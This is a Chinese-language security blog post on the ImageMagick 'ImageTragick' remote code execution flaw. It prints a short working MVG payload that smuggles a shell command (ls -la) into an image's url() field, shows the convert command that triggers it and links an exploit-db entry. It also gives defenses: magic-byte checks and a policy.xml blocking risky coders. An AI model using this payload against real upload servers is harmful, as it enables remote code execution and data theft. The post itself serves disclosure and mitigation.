ImageMagick是一款广泛流行的图像处理软件,有无数的网站(国内国外都有)使用它来进行图像处理,本周二,ImageMagick披露出了一个严重的0day漏洞,此漏洞允许攻击者通过上传恶意构造的图像文件,在目标服务器执行任意代码。

在这个安全漏洞公布之后,这一漏洞的EXP也随即被发布,并被命名为:ImageTragick。漏洞的EXP已经通过邮件和论坛广泛传播。

ImageMagick被许多编程语言所支持:Perl,C++,PHP,Python和Ruby等,并被部署在数以百万计的网站,博客,社交媒体平台和流行的内容管理系统(CMS),例如:WordPress、Drupal、Discuz!。

该漏洞的利用十分简单,通过上传一个恶意图像到目标Web服务器上,攻击者就可以执行任意代码,窃取重要信息,用户帐户等。

换句话说,只有采用了ImageMagick,且允许用户上传图像的网站,才会受到影响。

漏洞利用:

push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|ls "-la)'
pop graphic-context

将代码保存为任意的扩展名,例如expoit.jpg,然后通过ImageMagick去运行它

convert exploit.jpg out.png

此时,ImageMagick就会去执行嵌入的代码/命令:ls -la命令。

漏洞防御:

1.在上传图片时需要通过文件内容来判断用户上传的是否为真实图片类型,即:检查文件的magic bytes。Magic bytes是一个文件的前几个字节,被用于识别图像类型,例如GIF,JPEG和PNG等,这样,才能准确判断是否为文件图片。

2.使用策略配置文件来禁用ImageMagick的有风险的编码器,可在 "/etc/ImageMagick/policy.xml" 文件中添加如下代码:

<policymap>
    <policy domain="coder" rights="none" pattern="EPHEMERAL">
    <policy domain="coder" rights="none" pattern="URL">
    <policy domain="coder" rights="none" pattern="HTTPS">
    <policy domain="coder" rights="none" pattern="MVG">
    <policy domain="coder" rights="none" pattern="MSL">
</policymap>

此时,若再运行:convert exploit.jpg out.png,就无法再执行ls -la命令了。

EXP:https://www.exploit-db.com/exploits/39767

ImageTragick Exploit & Fix的更多相关文章

  1. linux提权辅助工具(一):linux-exploit-suggester.sh

    来自:https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh ...

  2. nginx 1.3.9/1.4.0 x86 Brute Force Remote Exploit

    测试方法: 本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负! #nginx 1.3.9/1.4.0 x86 brute force remote exploit # copyri ...

  3. Android linux kernel privilege escalation vulnerability and exploit (CVE-2014-4322)

    In this blog post we'll go over a Linux kernel privilege escalation vulnerability I discovered which ...

  4. An iOS zero-click radio proximity exploit odyssey

    NOTE: This specific issue was fixed before the launch of Privacy-Preserving Contact Tracing in iOS 1 ...

  5. PhpStorm和WAMP配置调试参数,问题描述Error. Interpreter is not specified or invalid. Press “Fix” to edit your project configuration.

    PhpStorm和WAMP配置调试参数 问题描述: Error. Interpreter is not specified or invalid. Press “Fix” to edit your p ...

  6. No-args constructor for class X does not exist. Register an InstanceCreator with Gson for this type to fix this problem.

    Gson解析JSON字符串时出现了下面的错误: No-args constructor for class X does not exist. Register an InstanceCreator ...

  7. Eclipse ndk fix插件开发

    一. 手工修复ndk环境bug Eclipse做ndk开发的时候, 经常会遇到编译过去,却报语法错误的问题,比如 ①. 头文件不识别 ②. 头文件识别了, 类型不识别 针对这一的bug,我们一般按照如 ...

  8. How to Fix GNOME License Not Accepted Issue on CentOS 7

    This post assume that you have just finished the Gnome GUI installation on CentOS 7 by using “yum gr ...

  9. CVE-2015-7645 analyze and exploit

    Hack team之后adobe和google合作对flash进行了大改,一度提高了flash的利用门槛,CVE-2015-7645作为第一个突破这些限制的漏洞利用方式,可以作为vetect利用方式之 ...

随机推荐

  1. js调用浏览器打印

    <input type="button" id="print" onclick="printdiv('list');" value=& ...

  2. 测试人员如何搭建Selenium-Grid2环境(参考Java)

    Selenium对于我们进行web自动化测试有很大的帮助,如果要进行大范围的测试覆盖,就不能仅仅在一两台机器上跑了:同样Selenium-Grid也给我们提供了这样的帮助,我们可以借助Selenium ...

  3. js-JavaScript高级程序设计学习笔记15

    第十七章 错误处理与调试 1.try-catch语句.如果try块中的任何代码发生了错误,就会立即退出执行开始执行catch块.必须要给catch的错误对象起名字.不同浏览器都有一个message属性 ...

  4. 【BZOJ-3626】LCA 树链剖分

    3626: [LNOI2014]LCA Time Limit: 10 Sec  Memory Limit: 128 MBSubmit: 1428  Solved: 526[Submit][Status ...

  5. JSP隐含变量和Spring中Model在EL表达式中的读取顺序

    偶然中存在着必然,必然中存在着偶然 偶然出现的bug,必然存是由代码的不合理甚至错误的 代码逻辑越长,越复杂,就越容易出现bug 之前项目里几次偶然出现了一个bug,简单的描述就是第一次新增了之后进行 ...

  6. wpf添加超链接

    前段: <TextBlock Margin="69,93,859,10"> <Hyperlink NavigateUri="http://dmsite. ...

  7. SPOJ GSS5 Can you answer these queries V

    Time Limit: 132MS   Memory Limit: 1572864KB   64bit IO Format: %lld & %llu Description You are g ...

  8. SPOJ913 Query on a tree II

    Time Limit: 433MS   Memory Limit: 1572864KB   64bit IO Format: %lld & %llu Description You are g ...

  9. struts2 CVE-2013-1965 S2-012 Showcase app vulnerability allows remote command execution

    catalog . Description . Effected Scope . Exploit Analysis . Principle Of Vulnerability . Patch Fix 1 ...

  10. python——复制目录结构小脚本

    引言 有个需要,需要把某个目录下的目录结构进行复制,不要文件,当目录结构很少的时候可以手工去建立,当目录结构复杂,目录层次很深,目录很多的时候,这个时候要是还是手动去建立的话,实在不是一种好的方法,弄 ...